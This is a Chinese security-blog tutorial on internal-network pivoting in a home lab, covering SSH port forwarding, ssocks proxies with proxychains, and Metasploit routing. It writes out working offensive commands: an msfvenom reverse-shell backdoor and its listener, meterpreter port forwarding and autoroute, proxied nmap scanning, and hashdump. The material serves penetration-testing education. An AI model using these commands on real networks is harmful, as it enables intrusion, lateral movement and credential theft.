freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

内网基础-隧道技术、内网穿透(SSH隧道、Socket隧道、跨路由扫描)
Ocean 2021-11-26 18:54:15 156564

202110291721693.png

环境搭建

image-20211126135623062

分别是三个虚拟机(我这里用的两个ubuntu,一个kali)

因为web服务器有两个ip所以需要添加一个网卡,然后设置LAN区段

注:一开始lan区段是空的,手动添加一个就行

image-20211126140254347

数据库服务器同样将网卡模式设置为LAN网段

分别进入web服务器虚拟机和数据库服务器虚拟机,将IPV4设置为手动

image-20211126141020501

手动设置IP地址,子网掩码,网关为LAN网段,设置完毕后,ifconfig查看,如果没有改变,手动断开网络连接重连

ifconfig效果:

web服务器:

image-20211126141257846

数据库服务器:

image-20211126141238619

kali:

image-20211126141320237

之后的实验均采用此拓扑结构(IP稍有不同)
注:所有图中正确的网关为:192.168.179.2

SSH隧道

image-20211126111630949

这是整个网络的拓扑(web服务器已经被拿下),分析下可以得知

  • 内网WEB服务器有公私网双IP

  • 攻击者和web服务器处于同一网络(192),可以联通,攻击者(192段)和数据库服务器不可以联通(10段)

  • web服务器和数据库服务器可以联通(10段)

所以现在的目的就是通过web服务器建立隧道,使攻击者可以联通数据库服务器

正向连接

远程侦听端口,访问转发到本机主机指定端口。在web服务器上执行ssh命令

ssh –CNfL 0.0.0.0:7777:10.10.10.128:80 web@127.0.0.1
# 命令解析:
ssh –CNfL <listen ip> <listen posrt> :<remote ip>:<remote port> WebServerUser(跳板机用户)@<ssh server> -p <ssh server port>
-C 压缩传输
-f 将SSH传输转入后台执行
-N 建立静默连接
-g 允许远程主机连接本地用于转发的端口
-L 本地端口转发

运行命令,输入跳板机的ssh登陆密码,就可以了

image-20211126105444554

映射成功后,攻击者使用浏览器访问web服务器(192.168.0.144)的7777端口,访问结果就是数据服务器的80端口的内容

反向隧道

1.web服务器执行以下命令:
ssh –qTfnN –R 2222:127.0.0.1:22  root@192.168.0.115
# 命令解析:
ssh -qTfnN -R port:host:hostport  remoteuser@remote_ip
将本地22端口映射到攻击者的2222端口,执行之后需要输入remoteuser的密码

2.攻击者执行以下命令:
(注意要开启ssh服务,开启后执行以下操作)
ssh –p 2222 web@127.0.0.1
# 命令解析:
连接端口

image-20211126110732796

反向隧道类似于反弹shell,将web服务器的ssh端口映射,对于Windows服务器可以映射3389端口(RDP)

ssh -CfNg -R 11111:192.168.160.139:3389 root@192.168.160.140

kali上通过rdesktop连接本地的11111端口

rdesktop 127.0.0.1:11111

sockets代理

ssh -D '[::]:1080' JumpHost
SSH -qTfnN -D port remotehost

两种方法都没有成功

MSF端口映射

使用msf来完成正向连接和反向连接,原理都是一样的,拓扑还是之前的,不过这次web服务器是一个winserver

首先去拿shell

使用msf生成后门

msfvenom  -p windows/meterpreter/reverse_tcp lhost=192.168.0.115  lport=12345 -f exe >/var/www/html/ss.exe

kali监听对应端口

use exploit/multi/handler
set payload  windows/meterpreter/reverse_tcp
set lhost 192.168.0.115
set lport 12345
exploit

端口映射

在winserver执行exe文件后拿到shell,在meterpreter中执行命令映射端口

portfwd add -L 192.168.0.115 -l 2020 -r 10.10.10.128 -p 80 

-L localhost
-l localport
-r remote ip
-p remote port

image-20211126124953720

直接将数据库服务器的80端口映射到了kali的2020端口,直接浏览器访问 http://192.168.0.115:2020 端口即可

转发端口

# meterpreter
portfwd add -l 5555 -p 3389 -r 192.168.0.144
-l localport
-r remote ip
-p remote port

rdesktop 127.1.1.0:5555

image-20211126125834224

其他命令

查看列表

portfwd list

清空列表

portfwd flush

Socket隧道

拓扑

image-20211126135623062

ssocks

sSocks是一个socks代理工具套装,可用来开启socks代理服务

下载连接:http://sourceforge.net/projects/ssocks

web服务器和kali都需要安装这款工具才能使用

下载之后进行编译,可以选择先下载到kali编译之后上传到web服务器,也可以直接在web服务器下载编译

./configure && make

image-20211126143548825

src目录中存放了编译好的文件

image-20211126143706129

反向代理

将远程计算机作为socks代理服务端,反弹回本地,方便内网的渗透测试

1.建立隧道

kali端:

./rcsocks -l 1088 -p 1080 -vv

-vv 获取详细信息
等待远程Socks5服务器访问本地1080端口,创建端口1080与本地端口1088的连接通道,将本地的1088端口的流量转发到1080端口

image-20211126145248593

web服务器端:

./rssocks -vv -s 192.168.179.128:1080
#接收192.168.179.128:1080端口的流量

输入命令后通道就建立完毕了

2.开启代理

proxychains代理链是Linux下一款代理设置工具,kali中默认安装,ubuntu需要使用命令apt-get install proxychains安装

kali端修改配置文件:

/etc/proxychains.conf

注释socks4添加socks5(注意是socks5下图有误)

image-20211126145926459

测试

proxychains ssh 127.0.0.1

输入密码连接后,成功连接ssh,查看本机ip

image-20211126152824274

image-20211126152726640

使用firefox

proxychains firefox 10.0.0.2

image-20211126153020846

我这边是经过了多次测试才成功,可以先试一下ssh再curl,由于Ssocks不稳定,所以不建议使用

image-20211126155235382

正向代理

web服务器如下命令创建代理并监听192.168.179.147(自己的IP)

./ssocksd --bind 192.168.179.147 --port 6020

在攻击主机编辑proxychains代理配置文件,添加代理配置信息:socks5 192.168.179.147 6020

vi /etc/proxychains.conf

执行如下命令,连接内网服务器,查看ip得知代理成功。

1proxychains ssh 127.0.0.1

扫描内网

用kali里边的nmap扫描

proxychains nmap -Pn -sT 10.0.0.2

image-20211126162949849

MSF跨路由扫描

image-20211126164209673

在Kali生成后门文件

msfvenom  -p windows/meterpreter/reverse_tcp lhost=192.168.179.128  lport=12345 -f exe >/var/www/html/s.exe

生成完毕,通过webshell将文件上传至win服务器

kali进入msf,开启监听

use exploit/multi/handler
set payload  windows/meterpreter/reverse_tcp
set lhost 192.168.179.128
set lport 12345
exploit

等win服务器那边点击了exe文件,这边就上线了

image-20211126170211041

简单收集信息

  • 查看当前用户

getuid

image-20211126170548082

  • 查看网卡信息

ifconfig

image-20211126170618252

  • 查看路由信息

run get_local_subnets

image-20211126170717971

run autoroute -p

image-20211126180404329
发现没有路由,接下来使用命令添加路由

增加路由

run autoroute -s 10.0.0.0/24
run autoroute -p

image-20211126180445161

这样的话就添加了一条路由,但是仅这样是不行的,还有添加代理

background 之后使用 socks4a 模块

use auxiliary/server/socks4a
set SRVPORT 10044

image-20211126182146208

修改配置文件

vi /etc/prxoychains.conf

注释掉原来的,添加一条新的

socks4 192.168.179.128 10044

image-20211126182913984

这样的话路由就添加完成了

可以使用nmap对10.0.0.2进行端口扫描

proxychains nmap -sT -Pn 10.0.0.2

image-20211126183042151

也可以用hydra进行密码爆破

MSF其他模块

  • metasploit的主机发现模块
    use auxiliary/scanner/discover/arp_sweep

  • hash收集
    run hashdump

推荐阅读

内网渗透基石篇-- 隐藏通信隧道技术(上)

内网渗透基石篇--隐藏通信隧道技术(下)

内网渗透篇:ssocks+proxychains搭建代理

SSH隧道:内网穿透实战

202110291740329.png

# 渗透测试 # web安全 # 内网渗透
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 Ocean 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
Ocean LV.4
知其黑,守其白 博客地址:oceansec.blog.csdn.net
  • 12 文章数
  • 54 关注者
CVE-2023-28432 MiniO信息泄露到RCE
2023-04-14
网络安全事件研判
2021-12-30
内网渗透-隧道技术(socks转发、ssh隧道)
2021-12-07
文章目录